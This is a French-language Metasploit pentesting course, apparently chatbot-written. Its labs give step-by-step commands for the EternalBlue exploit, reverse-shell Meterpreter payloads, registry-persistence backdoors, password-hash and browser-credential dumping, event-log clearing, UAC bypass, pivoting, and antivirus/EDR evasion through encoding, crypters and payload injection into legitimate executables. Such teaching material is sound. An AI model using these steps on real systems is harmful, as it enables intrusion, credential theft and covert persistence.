Module 1 : Introduction à Metasploit**

Module 1 : Introduction à Metasploit

Dans ce module, vous apprendrez les bases de l'outil Metasploit, son fonctionnement, et vous vous
familiariserez avec son interface et ses fonctionnalités principales. Ce module pose les fondations
nécessaires pour utiliser Metasploit efficacement.

1. Qu'est-ce que Metasploit ?

Metasploit est une plateforme d'exploitation des vulnérabilités qui permet aux testeurs de pénétration
(pentesters) de :

Rechercher et exploiter des failles de sécurité.

Tester la résilience des systèmes en environnement contrôlé.

Automatiser des attaques courantes et simuler des menaces.

Caractéristiques principales :

Supporte des milliers d’exploits et payloads.

Intègre un puissant langage de scripting pour personnaliser les attaques.

Fournit un environnement d’automatisation des tests.

Compatible avec d’autres outils comme Nmap, Nessus, etc.

Versions de Metasploit :

1. Metasploit Framework (Open Source) : Version utilisée pour les tests manuels, incluse dans Kali
Linux.
2. Metasploit Pro (Payante) : Pour les entreprises, avec des fonctionnalités avancées comme la
gestion des équipes et les rapports.
3. Metasploit Community (Gratuite, limitée) : Une version simplifiée pour les utilisateurs
occasionnels.

2. Installation et configuration

Metasploit est préinstallé dans Kali Linux, mais il peut également être installé sur d'autres distributions
Linux ou Windows.

Vérification de l'installation :

1. Ouvrir un terminal dans Kali Linux.

2. Exécuter la commande suivante :

msfconsole
 Cela ouvre l'interface de la console Metasploit.

Mise à jour de Metasploit :

1. Pour mettre à jour Metasploit et ses bases de données :

sudo apt update && sudo apt install metasploit-framework

2. Mettre à jour la base des exploits :

msfupdate

Structure des fichiers Metasploit :

Modules d'exploit : /usr/share/metasploit-framework/modules/exploits/

Payloads : /usr/share/metasploit-framework/modules/payloads/

Auxiliaires : /usr/share/metasploit-framework/modules/auxiliary/

3. Terminologies clés

Exploit : Un morceau de code conçu pour tirer parti d'une vulnérabilité.

Payload : Charge utile qui exécute une action spécifique (par exemple, ouvrir une session).

Module : Composant chargé d’une tâche particulière (exploit, scan, etc.).

Listener : Processus en attente de connexions depuis une machine compromise.
msfconsole : Interface en ligne de commande principale pour interagir avec Metasploit.

Commandes principales :

help : Affiche l'aide générale.

search : Recherche un exploit ou un module.

use : Charge un module.

info : Affiche les détails d’un module.

show : Liste les exploits, payloads, ou options disponibles.

set : Configure une option ou un paramètre.

run ou exploit : Lance l’exploit ou le module.

4. TP 1 : Exploration de Metasploit

Objectif :

Se familiariser avec l'interface et les fonctionnalités de base.

Prérequis :

Kali Linux avec Metasploit installé.

Une machine virtuelle ou cible vulnérable dans le même réseau (facultatif pour ce TP).
Étapes du TP :

1. Lancer Metasploit :

Ouvrir un terminal et exécuter msfconsole .

Notez le logo ASCII et les informations sur la version.

2. Découvrir les modules :

Listez tous les exploits disponibles :

show exploits

Recherchez un module spécifique, par exemple pour SMB :

search smb

3. Afficher les détails d'un module :

Chargez un exploit SMB :

use exploit/windows/smb/ms17_010_eternalblue

Obtenez des informations sur ce module :

info

4. Lister les payloads compatibles :

Une fois l'exploit chargé, affichez les payloads :

show payloads

5. Configurer un exploit (simulation) :

Définissez une cible hypothétique :

set RHOSTS [Link]

Définissez un payload générique :

set PAYLOAD windows/meterpreter/reverse_tcp

Affichez les options définies :

show options

6. Sauvegarde de la session :

Exportez vos commandes dans un fichier .rc pour automatiser cette configuration
ultérieurement :

save /root/metasploit_config.rc
 7. Quitter Metasploit :

Tapez exit pour quitter msfconsole.

Résultat attendu :

À la fin de ce TP, vous aurez une meilleure compréhension de l'interface, de la recherche et de la

configuration des modules dans Metasploit.

Module 2 : Phases d'un Test d'Intrusion avec Metasploit

Ce module vous guide à travers les étapes fondamentales d'un test de pénétration à l'aide de
Metasploit : la reconnaissance, l'exploitation et la post-exploitation. Vous apprendrez à identifier les
vulnérabilités sur un réseau et à les exploiter.

1. Reconnaissance (Reconnaissance)

La reconnaissance consiste à collecter des informations sur les systèmes cibles pour identifier des
vulnérabilités exploitables.

Outils de reconnaissance dans Metasploit :

Nmap : Scanner de ports pour détecter les services ouverts et le système d'exploitation.
Modules auxiliaires : Permettent des analyses spécifiques (par exemple, version de SMB,
vulnérabilités Web).

TP 2 : Scanner un Réseau Local

Objectif : Identifier les services ouverts et les systèmes d'exploitation sur une machine cible.

Prérequis :

Kali Linux avec Metasploit.

Une machine cible dans le même réseau.

Étapes :

1. Lancer Metasploit :

msfconsole

2. Scanner une plage IP avec Nmap intégré :

Utilisez db_nmap pour effectuer un scan actif :

db_nmap -sV -O [Link]/24

Options utilisées :

-sV : Détecte les versions des services.

 -O : Tente de détecter le système d'exploitation.

Les résultats sont automatiquement stockés dans la base de données de Metasploit.

3. Visualiser les résultats :

Affichez les hôtes découverts :

hosts

Affichez les services détectés :

services

4. Analyser un hôte spécifique :

Recherchez les services critiques, par exemple SMB ou FTP :

services -p 445

5. Module auxiliaire pour scanner SMB :

Chargez un module de reconnaissance SMB :

use auxiliary/scanner/smb/smb_version

Configurez les options :

set RHOSTS [Link]

Exécutez le module :

run

Résultat attendu : Vous identifiez les services et systèmes d'exploitation actifs, et éventuellement des
cibles vulnérables.

2. Exploitation des Vulnérabilités

L'exploitation consiste à tirer parti des failles identifiées pour obtenir un accès à un système cible.

TP 3 : Exploiter une Vulnérabilité SMB

Exemple : Utilisation de l'exploit EternalBlue (CVE-2017-0144).

Objectif : Obtenir une session Meterpreter en exploitant SMB.

Prérequis :

Une cible vulnérable, comme Metasploitable2 ou une VM Windows non mise à jour.
Une adresse IP de la cible identifiée précédemment.

Étapes :
 1. Recherche de l'exploit :

Recherchez des modules pour SMB :

search smb

Notez le chemin du module pour EternalBlue.

2. Charger l'exploit :

Chargez le module :

use exploit/windows/smb/ms17_010_eternalblue

3. Configurer les options :

Définissez l'adresse IP de la cible :

set RHOSTS [Link]

Sélectionnez un payload :

set PAYLOAD windows/meterpreter/reverse_tcp

Configurez l'adresse IP et le port de votre machine (listener) :

set LHOST [Link]

set LPORT 4444

4. Vérifier les options :

Affichez les paramètres configurés :

show options

5. Lancer l'exploit :

Exécutez l'exploit :

exploit

6. Valider l'accès :

Une fois l'exploit réussi, vous obtenez une session Meterpreter.

Vérifiez l'accès :

sessions -i 1

Résultat attendu : Vous accédez à la machine cible avec une session Meterpreter.

3. Automatisation de la Reconnaissance et Exploitation

Pour gagner en efficacité, vous pouvez utiliser des scripts .rc pour automatiser vos configurations.
Exemple de script recon_and_exploit.rc :

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [Link]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [Link]
set LPORT 4444
exploit

Exécution du script :

msfconsole -r recon_and_exploit.rc

Prochain module : Post-exploitation

La phase suivante se concentre sur l'utilisation de l'accès obtenu pour :

Maintenir un accès persistant.

Extraire des données sensibles.

Étendre votre attaque à d'autres systèmes.

Module 3 : Post-Exploitation avec Metasploit

La phase de post-exploitation commence une fois qu’un accès initial a été obtenu sur une machine
cible. L’objectif est de maximiser les informations récoltées, maintenir l’accès, et éventuellement utiliser
la machine compromise pour attaquer d’autres systèmes.

1. Maintien d’accès

Le maintien d’accès consiste à créer des moyens de rétablir une connexion au système cible en cas de
perte de session.

Actions possibles avec Metasploit :

Installer une backdoor persistante.

Ajouter un utilisateur administrateur.

Modifier les configurations de démarrage.

TP 4 : Créer une Backdoor Persistante

Objectif : Maintenir l’accès à la machine cible après une première compromission.

Étapes :

1. Obtenir un accès initial :

Assurez-vous d'avoir une session Meterpreter active :

 sessions -i 1

2. Générer une backdoor avec msfvenom :

Générez un payload exécutable :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link]

LPORT=4444 -f exe -o [Link]

LHOST : Adresse IP de votre machine Kali.

LPORT : Port utilisé pour le listener.

3. Uploader la backdoor sur la machine cible :

Depuis Meterpreter :

upload [Link] C:\\Windows\\Temp\\[Link]

4. Configurer l’exécution automatique :

Modifiez le registre Windows pour exécuter la backdoor au démarrage :

reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

-v Backdoor -d "C:\\Windows\\Temp\\[Link]"

5. Démarrer un listener sur Kali :

Configurez un multi-handler pour écouter les connexions entrantes :

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [Link]
set LPORT 4444
exploit

Résultat attendu : La machine compromise se reconnecte automatiquement à votre listener à chaque

redémarrage.

2. Extraction d’Informations Sensibles

L’extraction de données est une étape clé de la post-exploitation. Metasploit permet de collecter des
informations critiques comme des mots de passe, des fichiers, ou encore des informations système.

Commandes Meterpreter utiles :

Récupérer des informations système :

sysinfo
getuid

Capturer des mots de passe :

 Récupérez les hachages avec :

hashdump

Capturer des captures d’écran :

screenshot

Télécharger des fichiers :

download C:\\path\\to\\[Link] /root/[Link]

TP 5 : Dump des Mots de Passe

Objectif : Récupérer les mots de passe locaux de la machine cible.

Étapes :

1. Obtenez un shell Meterpreter actif :

sessions -i 1

2. Vérifiez si vous disposez des privilèges administratifs :

getuid

Si vous n’avez pas les privilèges administratifs, tentez d’escalader les privilèges (voir Section
3.3).

3. Utilisez hashdump :

Extrayez les mots de passe (sous forme de hachages) :

hashdump

Les hachages peuvent ensuite être craqués à l’aide d’outils comme John the Ripper ou
Hashcat.

3. Escalade de Privilèges

Dans certains cas, vous pouvez avoir un accès limité. L’objectif est de devenir administrateur
(Windows) ou root (Linux).

Exploitation d’élévation de privilèges :

1. Rechercher des exploits locaux disponibles :

Téléchargez et exécutez des modules de reconnaissance :

use post/multi/recon/local_exploit_suggester
set SESSION 1
run
 Identifiez les exploits suggérés.
2. Exécuter un exploit local :

Par exemple, un exploit UAC Bypass sur Windows :

use exploit/windows/local/bypassuac
set SESSION 1
run

4. Déplacement Latéral (Pivoting)

Une fois une machine compromise, vous pouvez l’utiliser pour accéder à d’autres machines du réseau
interne.

Configuration du pivoting :

1. Configurer un proxy pivotant :

Depuis Meterpreter :

run autoroute -s [Link]/24

Cela permet de router le trafic réseau via la machine compromise.

2. Scanner le réseau interne :

Retournez à Metasploit et utilisez db_nmap pour explorer le réseau depuis la machine cible.

TP 6 : Scanner et Attaquer une Machine Voisine

Objectif : Exploiter une machine voisine via le pivoting.

Étapes :

1. Ajoutez une route pour le réseau cible :

run autoroute -s [Link]/24

2. Utilisez Metasploit pour scanner le réseau interne :

use auxiliary/scanner/portscan/tcp
set RHOSTS [Link]/24
run

3. Exploitez une machine détectée :

Utilisez le même processus d’exploration et d’exploitation vu dans le Module 2.

Résumé du Module 3

À ce stade, vous savez :

 Maintenir un accès persistant.

Extraire des données sensibles.

Escalader vos privilèges pour devenir administrateur.

Explorer et exploiter d'autres machines dans le réseau.

Module 4 : Automatisation et Scripts Avancés dans Metasploit

Dans ce module, vous apprendrez à automatiser des tâches répétitives et à intégrer des scripts
personnalisés dans Metasploit pour rendre vos tests d'intrusion plus efficaces et professionnels.

1. Automatisation avec des Fichiers RC (Resource Files)

Les fichiers RC permettent de stocker une série de commandes Metasploit que vous pouvez exécuter
automatiquement.

Création d'un Fichier RC

Un fichier RC est un fichier texte contenant des commandes Metasploit.

Exemple : Script d'automatisation pour EternalBlue

Créez un fichier nommé [Link] :

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [Link]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [Link]
set LPORT 4444
exploit

Exécution :

msfconsole -r [Link]

Résultat attendu : Metasploit exécute automatiquement toutes les commandes définies.

2. Scripts Meterpreter

Metasploit inclut des scripts intégrés pour automatiser les tâches Meterpreter.

Commandes de Base :

Listez les scripts disponibles :

run

Exemples de Scripts :

1. Maintenir un accès persistant :

 run persistence -U -i 5 -p 4444 -r [Link]

-U : Exécute la backdoor à chaque démarrage.

-i : Intervalle entre les tentatives de connexion (en secondes).

-p : Port à écouter.

-r : Adresse IP de votre listener.

2. Collecte d'informations :

Récupérer les mots de passe stockés dans le navigateur :

run post/windows/gather/credentials/firefox

3. Suppression des traces :

Effacez les journaux d'événements de Windows :

run post/windows/manage/clear_eventlog

3. Automatisation avec MSFVenom

msfvenom est un outil puissant pour générer des payloads personnalisés.

TP 7 : Générer un Payload Avancé

Objectif : Créer un exécutable malveillant avec un payload encodé pour éviter les détections.

Étapes :

1. Génération du payload :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444

-e x86/shikata_ga_nai -i 3 -f exe -o [Link]

-e : Utilise un encodeur (ici, shikata_ga_nai).

-i : Encode le payload 3 fois.

-f exe : Génère un exécutable.

-o : Spécifie le nom du fichier de sortie.

2. Configurer un multi-handler :

Dans Metasploit, configurez un listener pour recevoir la connexion :

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [Link]
set LPORT 4444
exploit
 3. Tester le payload :

Exécutez [Link] sur une machine cible et vérifiez que la connexion s'établit.

4. Développement de Modules Personnalisés

Metasploit permet de créer vos propres modules pour répondre à des besoins spécifiques.

Structure d’un Module :

Tous les modules personnalisés doivent être enregistrés dans :

/usr/share/metasploit-framework/modules/

Exemple : Module d’exploitation personnalisé

Créez un fichier dans :

/usr/share/metasploit-framework/modules/exploits/custom/[Link]

Code de Base :

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,
'Name' => 'Example Exploit',
'Description' => 'Example custom exploit module',
'Author' => ['VotreNom'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Targets' => [
['Windows 10', {}]
],
'Payload' => { 'BadChars' => "\x00\x0a\x0d" }
))

register_options(
[
Opt::RPORT(4444)
]
)
end
 def exploit
print_status("Exploiting the target...")
connect
# Ajoutez votre code ici
disconnect
end
end

Rechargez les modules Metasploit :

reload_all

Utilisez le module personnalisé :

use exploit/custom/example

5. Intégration avec d’autres outils

Vous pouvez connecter Metasploit à d’autres outils pour des tests plus complets.

Exemples d’intégrations :

Nmap :
Importez les résultats d’un scan :

db_import nmap_scan.xml

Nessus :
Importez les rapports pour exploiter automatiquement les vulnérabilités détectées :

db_import nessus_scan.nessus

PostgreSQL :
Metasploit utilise PostgreSQL pour gérer les données de session. Assurez-vous que le service est
actif :

service postgresql start

Résumé du Module 4

À la fin de ce module, vous êtes capable de :

Automatiser vos tests avec des scripts RC.

Utiliser et personnaliser les scripts Meterpreter.
Générer des payloads avancés avec msfvenom .

Créer vos propres modules Metasploit.

Prochain module : Techniques d'évasion et de contournement des systèmes de sécurité. Prêt à
continuer ? 🚀

Module 5 : Techniques d'Évasion et Contournement des Systèmes de

Sécurité

Ce module se concentre sur les techniques permettant d'éviter les détections par les systèmes de
sécurité, comme les antivirus (AV), les systèmes de détection/prévention des intrusions (IDS/IPS), et les
solutions de sécurité basées sur l'endpoint (EDR).

1. Comprendre les Mécanismes de Détection

Les solutions de sécurité utilisent des techniques pour identifier les activités malveillantes.
Exemples de mécanismes courants :

Analyse basée sur les signatures : Détection de modèles connus dans les binaires ou le trafic
réseau.
Analyse heuristique : Détection basée sur le comportement inhabituel.
Sandboxing : Exécution du fichier dans un environnement isolé pour observer son comportement.

Machine learning : Identification des anomalies via des modèles prédictifs.

Objectif principal : Modifier les payloads et les approches pour contourner ces mécanismes.

2. Évasion des Antivirus (AV)

Les antivirus détectent souvent les payloads de Metasploit car leurs signatures sont bien connues.

Techniques courantes d’évasion :

1. Encoder les payloads :

Utilisez un encodeur pour modifier la structure du payload :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444

-e x86/shikata_ga_nai -i 5 -f exe -o evaded_payload.exe

-e : Encodeur utilisé.

-i : Nombre d'itérations d'encodage.

2. Crypter les payloads :

Les crypteurs changent l'apparence du fichier pour masquer son contenu.

Utilisez des outils comme Veil ou Hyperion.

Exemple avec Veil :

veil

Suivez les instructions pour générer un payload crypté.

 3. Modifier manuellement le code :

Modifiez les chaînes ou les instructions dans le code source du payload pour perturber les
signatures.

4. Injection de code :

Injectez le payload dans un processus légitime pour qu’il soit exécuté par un programme sûr :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link]

LPORT=4444 -f exe -x [Link] -o injected_payload.exe

-x : Fusionne le payload avec un exécutable légitime (ici, [Link]).

3. Contournement des IDS/IPS

Les IDS/IPS surveillent le trafic réseau pour détecter des signatures ou comportements suspects.

Techniques courantes :

1. Fragmentation du Payload :
Divisez le payload en fragments pour échapper à l’analyse :

Utilisez des modules comme smb/ms17_010_psexec qui fragmentent automatiquement les

requêtes.

2. Chiffrement du trafic :
Configurez Metasploit pour utiliser des communications chiffrées via HTTPS :

set PAYLOAD windows/meterpreter/reverse_https

3. Tunneling via des protocoles légitimes :

Exemple : Utilisation de DNS pour exfiltrer des données ou établir une communication (DNS
tunneling).

4. Modifier les en-têtes réseau :

Changez les métadonnées dans les paquets pour rendre le trafic légitime.

4. Contournement des EDR

Les solutions EDR surveillent les processus locaux, détectent les anomalies et alertent sur des
comportements suspects.

Techniques courantes :

1. Masquer le processus Meterpreter :

Injectez Meterpreter dans un processus de confiance :

migrate <PID>
 Identifiez un processus légitime avec :

ps

2. Éviter les hooks système :

Certains EDR utilisent des hooks pour surveiller les API critiques. Utilisez des outils comme
ProcessHollowing ou Direct Syscalls pour contourner ces hooks.
3. Limiter les activités post-exploitation :

Ne téléchargez pas directement de gros fichiers.

Utilisez des techniques de chiffrement pour masquer les données exfiltrées.

4. Bypass UAC (User Account Control) :

Escaladez les privilèges sans alerter l'EDR :

use exploit/windows/local/bypassuac
set SESSION 1
run

5. Automatisation des Techniques d'Évasion

Pour appliquer automatiquement ces techniques, vous pouvez utiliser des scripts ou intégrer des outils
tiers.

Exemple : Automatiser avec Unicorn

Unicorn génère des payloads PowerShell qui échappent aux signatures AV.
Installation :

git clone [Link]

cd unicorn

Génération d’un payload PowerShell :

python [Link] windows/meterpreter/reverse_https [Link] 4444

6. TP : Éviter les Détections

Objectif : Générer un payload indétectable par un antivirus et établir une session Meterpreter.

Étapes :

1. Générer un payload avec msfvenom et shikata_ga_nai :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444

-e x86/shikata_ga_nai -i 3 -f exe -o bypass_payload.exe

2. Crypter le payload avec Veil :

Lancez Veil :
 veil

Sélectionnez un crypteur, puis chargez le payload généré.

3. Configurer un listener dans Metasploit :

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [Link]
set LPORT 4444
exploit

4. Exécuter le payload sur la cible et vérifier l'accès :

Si réussi, une session Meterpreter est établie.

7. Tests contre des Solutions de Sécurité

Pour valider vos techniques d’évasion :

Testez vos payloads dans un environnement isolé avec des solutions AV/EDR populaires.

Utilisez des services comme VirusTotal ou des outils comme PEStudio pour analyser vos fichiers,
mais attention à ne pas exposer vos signatures.

Résumé du Module 5

Vous savez maintenant :

Contourner les antivirus, IDS/IPS, et EDR.

Crypter et encoder vos payloads pour échapper aux détections.

Automatiser des techniques d’évasion avec des outils comme Veil ou Unicorn.

Le prochain module explore les rapports post-tests d'intrusion et les meilleures pratiques éthiques
pour documenter vos travaux. Prêt pour la suite ? 🚀

Conclusion et Perspectives du Cours sur Metasploit

Résumé des Modules

Au cours de cette formation, nous avons couvert les étapes essentielles pour maîtriser Metasploit dans
le cadre d’un test d’intrusion structuré et professionnel :

1. Introduction et Bases
Familiarisation avec Metasploit, ses composants et son interface.
Importance d’un cadre légal et éthique dans les tests d’intrusion.
2. Phase d'Exploitation
Exploration des vulnérabilités et exécution d’exploits pour obtenir un accès initial aux systèmes
cibles.
 3. Post-Exploitation
Techniques pour maintenir l’accès, récolter des informations sensibles, escalader les privilèges, et
effectuer du déplacement latéral.

4. Automatisation et Scripting
Création de fichiers RC, personnalisation des scripts Meterpreter, et génération de payloads
avancés pour accélérer et simplifier les tests.
5. Techniques d'Évasion
Approches avancées pour contourner les antivirus, IDS/IPS, et EDR, en intégrant des outils comme
Veil, Unicorn et des encodages personnalisés.

Compétences Acquises

À l'issue de ce cours, vous êtes capable de :

1. Planifier et exécuter un test d'intrusion structuré.

2. Identifier, exploiter et remédier aux vulnérabilités d’un système.

3. Adapter vos techniques pour contourner les mécanismes de sécurité modernes.

4. Automatiser les tâches complexes et développer vos propres outils ou modules
personnalisés.

Perspectives et Étapes Suivantes

Ce cours marque le début d’un apprentissage continu. Voici des directions pour approfondir vos
compétences :

1. Se spécialiser dans des domaines précis :

Tests sur des environnements spécifiques : Mobile, IoT, cloud, SCADA.

Exploitation avancée : Développement d’exploits Zero-Day ou fuzzing.

Tests en réseau interne : Attaques AD (Active Directory) et pivoting complexe.

2. Compléter avec d’autres outils et méthodologies :

Apprenez à utiliser Burp Suite, Nmap, Wireshark, et OWASP ZAP pour élargir votre arsenal.

Intégrez des outils de post-exploitation comme Cobalt Strike ou Empire.

3. Se tenir à jour avec les nouvelles vulnérabilités :

Suivez des ressources comme Exploit-DB, CVE Details, et les blogs de sécurité (Rapid7,
Offensive Security, etc.).
Participez à des plateformes comme Hack The Box ou TryHackMe.

4. Obtenir des certifications reconnues :

OSCP (Offensive Security Certified Professional) : Un excellent complément pour

perfectionner vos compétences.
 CEH (Certified Ethical Hacker) ou PNPT (Practical Network Penetration Tester).
5. Apprendre à rédiger des rapports d’audit professionnels :

Un bon test d’intrusion ne se termine pas avec une exploitation réussie. Apprenez à documenter
vos résultats, fournir des recommandations claires et détaillées, et communiquer efficacement
avec vos clients ou équipes internes.

Réflexion Éthique

Responsabilité : Vous disposez maintenant d’outils puissants pouvant causer des dommages.
Utilisez-les uniquement dans des cadres légaux et éthiques.
Contribution à la sécurité : Aidez à améliorer la sécurité des systèmes plutôt qu’à en
compromettre l’intégrité.

Citation Inspirante

"L'art de l'attaque est de savoir où viser. L'art de la défense est de toujours anticiper."
- Bruce Schneier, cryptologue et expert en cybersécurité.

Nous espérons que cette formation vous a apporté les bases solides pour exceller dans le domaine des
tests d’intrusion. Bonne chance dans vos futures explorations et restez curieux ! 😊